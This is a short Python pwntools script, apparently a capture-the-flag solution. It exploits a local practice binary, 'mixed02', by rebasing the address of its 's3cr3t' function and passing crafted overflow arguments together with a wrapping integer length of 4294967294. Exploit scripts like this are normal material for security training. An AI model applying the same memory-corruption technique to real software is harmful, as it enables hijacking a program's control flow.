from pwn import *
import subprocess

context(arch='amd64', os='linux', log_level='info')

secret_addr = ELF('./mixed02').symbols['s3cr3t']
secret_addr = secret_addr - 0x1000 + 0x555555555000

arg0 = b'}' * 127
arg1 = b'}' + p64(secret_addr).rstrip(b'\x00')

subprocess.run(['./mixed02', arg0, '127', arg1, '4294967294'])